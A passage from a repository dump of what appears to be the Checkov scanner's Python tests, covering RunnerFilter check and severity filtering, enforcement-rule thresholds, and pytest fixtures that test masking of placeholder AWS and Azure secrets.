report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_456', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_run_id_skip_severity(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, checks=['CKV_AWS_123'], skip_checks=['MEDIUM'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # the presence of a severity in check/skip overrides enforcement rules, and 789 just gets implicitly skipped because it's not in the allow list\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_should_run_check_enforcement_rules_run_severity_skip_id(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, checks=['MEDIUM'], skip_checks=['CKV_AWS_123'],\n                                filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        # the presence of a severity in check/skip overrides enforcement rules, so run 789 based on severity and always skip 123\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertTrue(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_789', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.HIGH], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.MEDIUM], report_type=CheckType.SECRETS))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.TERRAFORM))\n        self.assertFalse(instance.should_run_check(check_id='CKV_AWS_123', severity=Severities[BcSeverities.LOW], report_type=CheckType.SECRETS))\n\n    def test_extract_enforcement_rule_threshold(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n\n        self.assertEqual(instance.extract_enforcement_rule_threshold('BC_LIC_1', 'sca_package'), Severities[BcSeverities.HIGH])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('BC_PRISMA_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('BC_CVE_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_PRISMA_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_CVE_2022_123', 'sca_package'), Severities[BcSeverities.MEDIUM])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('CKV_AWS_123', 'terraform'), Severities[BcSeverities.LOW])\n        self.assertEqual(instance.extract_enforcement_rule_threshold('BC_AWS_123', 'terraform'), Severities[BcSeverities.LOW])\n\n    def test_apply_enforcement_rules(self):\n        instance = RunnerFilter(include_all_checkov_policies=True, filtered_policy_ids=[], use_enforcement_rules=True)\n\n        enforcement_rule_configs = {\n            CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.LOW]),\n            CodeCategoryType.BUILD_INTEGRITY: CodeCategoryConfiguration(CodeCategoryType.BUILD_INTEGRITY, Severities[BcSeverities.INFO], Severities[BcSeverities.INFO]),\n            CodeCategoryType.LICENSES: CodeCategoryConfiguration(CodeCategoryType.LICENSES, Severities[BcSeverities.HIGH], Severities[BcSeverities.HIGH]),\n            CodeCategoryType.VULNERABILITIES: CodeCategoryConfiguration(CodeCategoryType.VULNERABILITIES, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.MEDIUM]),\n            CodeCategoryType.SECRETS: CodeCategoryConfiguration(CodeCategoryType.SECRETS, Severities[BcSeverities.OFF], Severities[BcSeverities.OFF]),\n            CodeCategoryType.WEAKNESSES: CodeCategoryConfiguration(CodeCategoryType.WEAKNESSES, Severities[BcSeverities.OFF], Severities[BcSeverities.OFF])\n        }\n\n        instance.apply_enforcement_rules(enforcement_rule_configs)\n        expected = {\n            'ansible': Severities[BcSeverities.LOW],\n            'argo_workflows': Severities[BcSeverities.INFO],\n            'arm': Severities[BcSeverities.LOW],\n            'azure_pipelines': Severities[BcSeverities.INFO],\n            'bicep': Severities[BcSeverities.LOW],\n            'bitbucket_pipelines': Severities[BcSeverities.INFO],\n            'cdk': Severities[BcSeverities.OFF],\n            'circleci_pipelines': Severities[BcSeverities.INFO],\n            'cloudformation': Severities[BcSeverities.LOW],\n            'dockerfile': Severities[BcSeverities.LOW],\n            'github_configuration': Severities[BcSeverities.INFO],\n            'github_actions': Severities[BcSeverities.INFO],\n            'gitlab_configuration': Severities[BcSeverities.INFO],\n            'gitlab_ci': Severities[BcSeverities.INFO],\n            'bitbucket_configuration': Severities[BcSeverities.INFO],\n            'helm': Severities[BcSeverities.LOW],\n            'json': Severities[BcSeverities.LOW],\n            'yaml': Severities[BcSeverities.LOW],\n            'kubernetes': Severities[BcSeverities.LOW],\n            'kustomize': Severities[BcSeverities.LOW],\n            'openapi': Severities[BcSeverities.LOW],\n            'sca_package': {\n                CodeCategoryType.LICENSES: Severities[BcSeverities.HIGH],\n                CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.MEDIUM]\n            },\n            'sca_image': {\n                CodeCategoryType.LICENSES: Severities[BcSeverities.HIGH],\n                CodeCategoryType.VULNERABILITIES: Severities[BcSeverities.MEDIUM]\n            },\n            'secrets': Severities[BcSeverities.OFF],\n            'serverless': Severities[BcSeverities.LOW],\n            'terraform': Severities[BcSeverities.LOW],\n            'terraform_json': Severities[BcSeverities.LOW],\n            'terraform_plan': Severities[BcSeverities.LOW],\n            '3d_policy': Severities[BcSeverities.LOW],\n            'sast': Severities[BcSeverities.OFF],\n            'sast_python': Severities[BcSeverities.OFF],\n            'sast_java': Severities[BcSeverities.OFF],\n            'sast_javascript': Severities[BcSeverities.OFF],\n            'sast_typescript': Severities[BcSeverities.OFF],\n            'sast_golang': Severities[BcSeverities.OFF],\n        }\n        self.assertEqual(instance.enforcement_rule_configs, expected)\n\n    def test_resource_attr_to_omit_load_config_empty_list(self):\n        runner_filter = RunnerFilter(resource_attr_to_omit=defaultdict(lambda: []))\n        assert not runner_filter.resource_attr_to_omit\n        # assert that we have default dict as well:\n        runner_filter.resource_attr_to_omit[\"acab\"].update([\"ac\", \"ab\"])\n        assert len(runner_filter.resource_attr_to_omit[\"acab\"]) == 2\n\n    def test_should_not_skip_cloned_policy(self):\n        instance = RunnerFilter(include_all_checkov_policies=True)\n        instance.bc_cloned_checks = {'BC_GCP_NETWORKING_17': [\n                                    [{'id': '1234567_GCP_9876543', 'code': 'null',\n                                      'title': 'GCP Firewall rule allows all traffic on HTTP port (80)',\n                                      'guideline': 'Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-gcp-google-compute-firewall-ingress-does-not-allow-unrestricted-http-port-80-access',\n                                      'severity': Severity(BcSeverities.HIGH, 4), 'pcSeverity': 'HIGH',\n                                      'category': 'Networking', 'pcPolicyId': '123456-873b-4a71-91a8-41a42e4c9314',\n                                      'additionalPcPolicyIds': ['123456-873b-4a71-91a8-41a42e4c9314'],\n                                      'sourceIncidentId': 'BC_GCP_NETWORKING_17', 'benchmarks': {},\n                                      'frameworks': ['CloudFormation', 'Terraform'], 'provider': 'GCP'}]]}\n        instance.suppressed_policies = ['BC_GCP_NETWORKING_17']\n        self.assertTrue(instance.should_run_check(check_id='CKV_GCP_106', bc_check_id='BC_GCP_NETWORKING_17'))\n\n    def test_should_skip_suppressed_policy(self):\n        instance = RunnerFilter(include_all_checkov_policies=True)\n        instance.bc_cloned_checks = {'BC_GCP_NETWORKING_17': [\n                                    [{'id': '1234567_GCP_9876543', 'code': 'null',\n                                      'title': 'GCP Firewall rule allows all traffic on HTTP port (80)',\n                                      'guideline': 'Refer the documentation for more details,\\nhttps://docs.bridgecrew.io/docs/ensure-gcp-google-compute-firewall-ingress-does-not-allow-unrestricted-http-port-80-access',\n                                      'severity': Severity(BcSeverities.HIGH, 4), 'pcSeverity': 'HIGH',\n                                      'category': 'Networking', 'pcPolicyId': '123456-873b-4a71-91a8-41a42e4c9314',\n                                      'additionalPcPolicyIds': ['123456-873b-4a71-91a8-41a42e4c9314'],\n                                      'sourceIncidentId': 'BC_GCP_NETWORKING_17', 'benchmarks': {},\n                                      'frameworks': ['CloudFormation', 'Terraform'], 'provider': 'GCP'}]]}\n        instance.suppressed_policies = ['BC_GCP_NETWORKING_18']\n        self.assertFalse(instance.should_run_check(check_id='CKV_GCP_77', bc_check_id='BC_GCP_NETWORKING_18'))\n\n\n    def test_resource_attr_to_omit_load_config_sanity_absolute_path(self):\n        \"\"\"\n        This check is more than a Sanity test - it also checks parser edge cases -\n        - key has single str value\n        - key has a list of values, one of them has incompatible type (first file content contains single str value\n            in key3 & int value in key4. Both need to be parsed into a set)\n        \"\"\"\n        first_file_real_parsed_content = {\n            \"aws_db_instance\": {\"storage_container_path\"},\n            \"key2\": {\"storage_container_path\"},\n            \"key3\": {\"admin_password\"},\n            \"key4\": {\"admin_password\", \"1\"},\n            \"key5\": {\"plaintext\"},\n            # ToDo: Uncomment if we want to support universal masking\n            # \"*\": {\"plaintext\"}\n        }\n\n        argv = [\n            \"--config-file\",\n            f\"{os.path.dirname(os.path.realpath(__file__))}/resource_attr_to_omit_configs/first.yml\"\n        ]\n        ckv = Checkov(argv=argv)\n        runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n        assert runner_filter.resource_attr_to_omit\n        for k, v in runner_filter.resource_attr_to_omit.items():\n            assert v == first_file_real_parsed_content.get(k)\n\n        for k, v in first_file_real_parsed_content.items():\n            assert v == runner_filter.resource_attr_to_omit.get(k)\n\n    def test_resource_attr_to_omit_load_config_sanity_combine(self):\n        combined_file_real_parsed_content = {\n            \"aws_db_instance\": {\"storage_container_path\"},\n            \"key2\": {\"storage_container_path\"},\n            \"key3\": {\"admin_password\", \"blabla\"},\n            \"key4\": {\"admin_password\", \"blabla2\", \"1\", \"2\"},\n            \"key5\": {\"plaintext\", \"admin_password\"},\n            \"key6\": {\"admin_password\"},\n            \"key7\": {\"plaintext\"},\n            # ToDo: Uncomment if we want to support universal masking\n            # \"*\": {\"plaintext\"}\n        }\n\n        argv = [\n            \"--config-file\",\n            f\"{os.path.dirname(os.path.realpath(__file__))}/resource_attr_to_omit_configs/combined.yml\"\n        ]\n        ckv = Checkov(argv=argv)\n        runner_filter = RunnerFilter(resource_attr_to_omit=ckv.config.mask)\n\n        assert runner_filter.resource_attr_to_omit\n        for k, v in runner_filter.resource_attr_to_omit.items():\n            assert v == combined_file_real_parsed_content.get(k)\n\n        for k, v in combined_file_real_parsed_content.items():\n            assert v == runner_filter.resource_attr_to_omit.get(k)\n\n    def test_get_sast_languages(self):\n        sast_langs = RunnerFilter.get_sast_languages(['sast'], [])\n        assert SastLanguages.PYTHON in sast_langs\n        assert SastLanguages.JAVA in sast_langs\n        assert SastLanguages.JAVASCRIPT in sast_langs\n        assert SastLanguages.TYPESCRIPT in sast_langs\n        assert SastLanguages.GOLANG in sast_langs\n        sast_langs = RunnerFilter.get_sast_languages(['sast_python', 'sast_typescript', 'sast_golang'], [])\n        assert SastLanguages.PYTHON in sast_langs\n        assert SastLanguages.TYPESCRIPT in sast_langs\n        assert SastLanguages.GOLANG in sast_langs\n        sast_langs = RunnerFilter.get_sast_languages(['sast_python', 'sast_javascript'], [])\n        assert SastLanguages.PYTHON in sast_langs\n        assert SastLanguages.JAVASCRIPT in sast_langs\n        sast_langs = RunnerFilter.get_sast_languages(['all'], [])\n        assert all(lang in sast_langs for lang in SastLanguages)\n\n        # skip\n        sast_langs = RunnerFilter.get_sast_languages(['all'], ['sast_python', 'sast_javascript'])\n        assert SastLanguages.JAVA in sast_langs\n        assert SastLanguages.PYTHON not in sast_langs\n        assert SastLanguages.JAVASCRIPT not in sast_langs\n        assert SastLanguages.TYPESCRIPT in sast_langs\n        assert SastLanguages.GOLANG in sast_langs\n\n    def test_scan_secrets_history_limits_to_secrets_framework(self):\n        # when\n        filter = RunnerFilter(enable_git_history_secret_scan=True)\n\n        # then\n        assert filter.enable_git_history_secret_scan is True\n        assert filter.framework == [CheckType.SECRETS]\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/utils/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/utils/conftest.py",
    "content": "from typing import Dict, Any\n\nimport pytest\n\nfrom checkov.common.bridgecrew.bc_source import SourceType\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration\n\n\n@pytest.fixture()\ndef mock_bc_integration() -> BcPlatformIntegration:\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.setup_bridgecrew_credentials(\n        repo_id=\"bridgecrewio/checkov\",\n        skip_fixes=True,\n        skip_download=True,\n        source=SourceType(\"Github\", False),\n        source_version=\"1.0\",\n        repo_branch=\"master\",\n    )\n    return bc_integration\n\n\n@pytest.fixture()\ndef scan_result_success_response() -> Dict[str, Any]:\n    return {'outputType': 'Result',\n     'outputData': \"H4sIAN22X2IC/8WY23LbOBKGX6VLN5tUWRQp\"\n                   \"+SCrZi88drL2VqKkLMUzNZu5gEjIQkwSXAKUrU3l3fdvgDofnNS4MheJKbIJdAP\"\n                   \"/193g10YpC22U1eWs0aNGy2ZFq5SmSq3B3/9WqpSZzK0J7JNtHFGjEMbIBKa2rKT7HT\"\n                   \"+Ie2lw5z9fG3ZWSB6mmNmJztk+F5m7k3wR+b3mO1NZGoWHuBkFbT+mnTw\"\n                   \"/+bcjOjTBOBXmYWP8MDh9sfHZXhprNqZoB+3TIPyBWf6EaayzIlUij\"\n                   \"+WNMZVbvLxK07UnV8rYUo0q6yf62ohLZVUsUvwIYTlR95P6MpOJqrL6R6of6yurrbf+xi5XaS5LMVIpRplvl\"\n                   \"+KNbFzevWm2w+i0eRp13XoZK2xl3KKqJ5mQyikKzoPuEf50g+iYbeKpYYvTIHLrEUNAfqzBoNcJwtbFXa\"\n                   \"/furjsvWt9vMXVp5vebWvQu2zxnRv8u+j1eZhEGsRV1EE2LkttTBNylFTfz+/p1e\"\n                   \"+DwWtaDWDGLtmJpESZTBlzOYG45K1MhZXJh9EXuPNRF1VB4yqPeWy2j3XOC9oSSabyFseo4vrHF1NfrA3x\"\n                   \"TuuHqjDBF8OvXzkB00iOdSnrhThy6/K0vOkWSeQJLqNw9UEUlnFEIsXuGIIeNCIU1gIeSImsxgw8JYlypGw\"\n                   \"pyhk9ylG9BqRLuh6+f0dTJcgvNXs01emUl6fKjRhLqgwwJD2mN6mTW6ByrBe/F7g9lRAtVo5XudbLkt7+Fq\"\n                   \"T1g7stVlOVP/DPibWF6bVa+TQJckg1uNfTFu9RK5FWqLS1papSmYe3wnnP6mtcuPDJKV4+wbUesXZhWT/xoQ\"\n                   \"INaR916dh+81SkWlmCfY3itTAElfLlexcWLSJl0lSGSLCjdSB+5l/+6bav4yyKapQqM5HJFXbeEc1Oh91meD\"\n                   \"KMTnon570w/MNJVZlYY+jnLeHPQROXaTbYOzsOowPsRWEN38kKfGfByffC1wd8nwBfH/Bd74FvCKBiaF5JKgS\"\n                   \"WC9qKdSL3iP+k1vmG/tnRx4nMoUd4D/IEOZwflZ3Qv7S+TyVd5CKdgT5zdIiI0YxrDWaBA1bmCYa7HNy+paKE\"\n                   \"qac6kzHIRw6AMfbdunSxRMgHY7b071LnT1L/fF9fQv0rWr9GCN+v9OMDSo/CZtgZRt3nlb7DclPpmybbSj9vR\"\n                   \"ufd4+M9Uod4uaCgqAbnLPgI6362oniXX7cVHx1Q/HWt+Osdit+UtZuOp19IuvaEpd5Z3nVuzrUr4lhXuSUrHi\"\n                   \"SvWkAXZCplxSiFBEsxxqaQzKAKEkmCxsDQKzsRlpQhdAciZbFD5S6nuYRuZPn58z/Mxks8UEmxMBK9l8gNPMmE\"\n                   \"wwBJ/1OuHKvgoWQZlOY1PeoqTbyXPP4cLscW6itqBOBkxqCvBAgCIDx7ALsY2pVXjB9DL86jeZwBvfqQ4xHaiH\"\n                   \"sxr61snMtHDJJKOGg4NkyDOZKdMxhkBqwOTPjNUt4jdNabn2kt7uD1Jr6LRuinILwi2Jdg+LJ2fgnvCtj7OZ6js\"\n                   \"I9jeNluRt1hdN5DnTnE8U7LdY63TbY4bkfNTqcddvZy3A7QHYHMIGp7nturbeMxQ/Usx9ebHPf3VK51jv1sR+vA\"\n                   \"ekc8x+3VB3CUJlh/oIC6kluFvUnQsrNrMyaNm33c4+bLyyuoO8nA9YyJjk1AAyvGY9SjbMTVK3bkVUwq5D2U0Ad\"\n                   \"W98rp6k6Bkyn/B/WDLsiEjRz9En0/07wsYWOVooDRRZIoDhYwz45IjekVR+IYUuPXvhWWY4EjBy2cIlvPaxDfVC\"\n                   \"JikB1XxupM/Q/bhJIpChw2Yk9xAj2muqiLr0gN8J0gc7AHrnfmI8wRT5VTrm0N8JrnOKz4F/n22nt1Llr6IZ9w6p\"\n                   \"RJQDdIXzAviVOEHx/bgvSxaw90ZY1K3BLxFPMAqdRwaP7Cror/EzveVTJeuOhvNri4dStjzuNrh6MDaaQGcU8Wge\"\n                   \"shd6tcwA9nkd2Wa1lkh8l2N9BFxxCGpyf7jp0os+2g89db3v6eBoBb3o+ASkKiH0vtjmDuQwLVR3z61ecJ74jTs1\"\n                   \"A5Z4vL3ziCHt1kaEiBDZRcQP93IlWJJ2rrxOpHdrU/RkH23wj4wTtR4uwmMtdHaJdHWPj+SAdQjOJeAqU14f4AeC\"\n                   \"Yy5zwFU9TLqYplQMMJoPE1nrmWYl7opT8zoR2RLoldzPsA+D0FTYb+PfjQJzgt2BeVx7pkkghMa56wHns9HD+Fyx\"\n                   \"VLqjf2LaD+h+GbHiLG65mYEcsoFQUtS2uI/e92vrdDX3zj2Ya1/tTzo9V9TYB7cN0B5ZUeHGzIl0Rvsr6fzVrr+y\"\n                   \"p8l4+R7ZCLcic6WOF3Wq5X+G2TnZ263529x9Lw54L51uGzaNZDrhKoupKXEtWsR1UOrfufqwSxflFS3KLjnd5ueu\"\n                   \"anz3q7neGie2cS8HcBin/BL8U8U/AL0XOSX+jt75P82r6+RIV6DoZDXW14oKMNz5rR2TA6fr6j3WG52dFumrjvsG\"\n                   \"sp7dAH12j5wbWz+sG1vfOD6+m3b/8HQd/FwVgXAAA=\",\n     'compressionMethod': 'gzip'}\n\n\n@pytest.fixture\ndef aws_provider_config_with_secrets():\n    return {\n            '__end_line__': 12,\n            '__start_line__': 7,\n            'access_key': ['AKIAIOSFODNN7EXAMPLE'],\n            'alias': ['plain_text_access_keys_provider'],\n            'region': ['us-west-1'],\n            'secret_key': ['wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'],\n            'CKV_AWS_41_secret_access_key': 'AKIAIOSFODNN7EXAMPLE',\n            'CKV_AWS_41_secret_secret_key': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'\n            }\n\n\n@pytest.fixture\ndef aws_provider_lines_with_secrets():\n    return [(7, 'provider \"aws\" {\\n'),\n            (8, '  alias      = \"plain_text_access_keys_provider\"\\n'),\n            (9, '  region     = \"us-west-1\"\\n'),\n            (10, '  access_key = \"AKIAIOSFODNN7EXAMPLE\"\\n'),\n            (11, '  secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\\n'),\n            (12, '}\\n')]\n\n\n@pytest.fixture\ndef aws_provider_lines_without_secrets():\n    return [(7, 'provider \"aws\" {\\n'),\n            (8, '  alias      = \"plain_text_access_keys_provider\"\\n'),\n            (9, '  region     = \"us-west-1\"\\n'),\n            (10, '  access_key = \"AKIAI**********\"\\n'),\n            (11, '  secret_key = \"wJalrX**********\"\\n'),\n            (12, '}\\n')]\n\n\n@pytest.fixture\ndef tfplan_resource_config_with_secrets():\n    return {\n        'content_type': [''],\n        'expiration_date': [None],\n        'id': ['https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5'],\n        'key_vault_id': ['/subscriptions/resourceGroups/'],\n        'name': ['test-123-abcdse-02-primary-key'],\n        'not_before_date': [None],\n        'resource_id': ['/subscriptions/resourceGroups/'],\n        'resource_versionless_id': ['/subscriptions/resourceGroups/'],\n        'tags': [{'__startline__': 45, '__endline__': 45, 'start_line': 44, 'end_line': 44}],\n        'timeouts': [None],\n        'value': ['IClnjeTb8fgd14LyV9m1qG0xvFfUyQY3qHq/slUIrk5='],\n        'version': ['123d0b12ab123c123456ab123e120bc1'],\n        'versionless_id': ['https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02'],\n        '__startline__': [35],\n        '__endline__': [50],\n        'start_line': [34],\n        'end_line': [49],\n        '__address__': 'module.test.azurerm_key_vault_secret.te_primary_key[\"test-123-abcdse-02\"]'}\n\n\n@pytest.fixture\ndef tfplan_resource_lines_with_secrets():\n    return [(35, '                            {\\n'),\n            (36, '                                \"content_type\": \"\",\\n'),\n            (37, '                                \"expiration_date\": null,\\n'),\n            (38, '                                \"id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5\",\\n'),\n            (39, '                                \"key_vault_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (40, '                                \"name\": \"test-123-abcdse-02-primary-key\",\\n'),\n            (41, '                                \"not_before_date\": null,\\n'),\n            (42, '                                \"resource_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (43, '                                \"resource_versionless_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (44, '                                \"tags\":\\n'),\n            (45, '                                {},\\n'),\n            (46, '                                \"timeouts\": null,\\n'),\n            (47, '                                \"value\": \"IClnjeTb8fgd14LyV9m1qG0xvFfUyQY3qHq/slUIrk5=\",\\n'),\n            (48, '                                \"version\": \"123d0b12ab123c123456ab123e120bc1\",\\n'),\n            (49, '                                \"versionless_id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02\"\\n')]\n\n\n@pytest.fixture\ndef tfplan_resource_lines_without_secrets():\n    return [(35, '                            {\\n'),\n            (36, '                                \"content_type\": \"\",\\n'),\n            (37, '                                \"expiration_date\": null,\\n'),\n            (38, '                                \"id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5\",\\n'),\n            (39, '                                \"key_vault_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (40, '                                \"name\": \"test-123-abcdse-02-primary-key\",\\n'),\n            (41, '                                \"not_before_date\": null,\\n'),\n            (42, '                                \"resource_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (43, '                                \"resource_versionless_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (44, '                                \"tags\":\\n'),\n            (45, '                                {},\\n'),\n            (46, '                                \"timeouts\": null,\\n'),\n            (47, '                                \"value\": \"IClnje**********\",\\n'),\n            (48, '                                \"version\": \"123d0b12ab123c123456ab123e120bc1\",\\n'),\n            (49,\n             '                                \"versionless_id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02\"\\n')]\n\n@pytest.fixture\ndef tfplan_resource_lines_without_secrets_multiple_keys():\n    return [(35, '                            {\\n'),\n            (36, '                                \"content_type\": \"\",\\n'),\n            (37, '                                \"expiration_date\": null,\\n'),\n            (38, '                                \"id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02-primary-key/352d0b63ac873c528170cb366b570da5\",\\n'),\n            (39, '                                \"key_vault_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (40, '                                \"name\": \"test-123-abcdse-02-primary-key\",\\n'),\n            (41, '                                \"not_before_date\": null,\\n'),\n            (42, '                                \"resource_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (43, '                                \"resource_versionless_id\": \"abcd/subscriptions/123/resourceGroups/abcd\",\\n'),\n            (44, '                                \"tags\":\\n'),\n            (45, '                                {},\\n'),\n            (46, '                                \"timeouts\": null,\\n'),\n            (47, '                                \"value\": \"IClnje**************************************\",\\n'),\n            (48, '                                \"version\": \"123d0b**************************\",\\n'),\n\n            (49,\n             '                                \"versionless_id\": \"https://test-123-abcdse-02.vault.azure.net/secrets/test-123-abcdse-02\"\\n')]\n"
  },
  {
    "path": "tests/common/utils/resources/existing_file",
    "content": "BLA"
  },
  {
    "path": "tests/common/utils/test_contextmanagers.py",
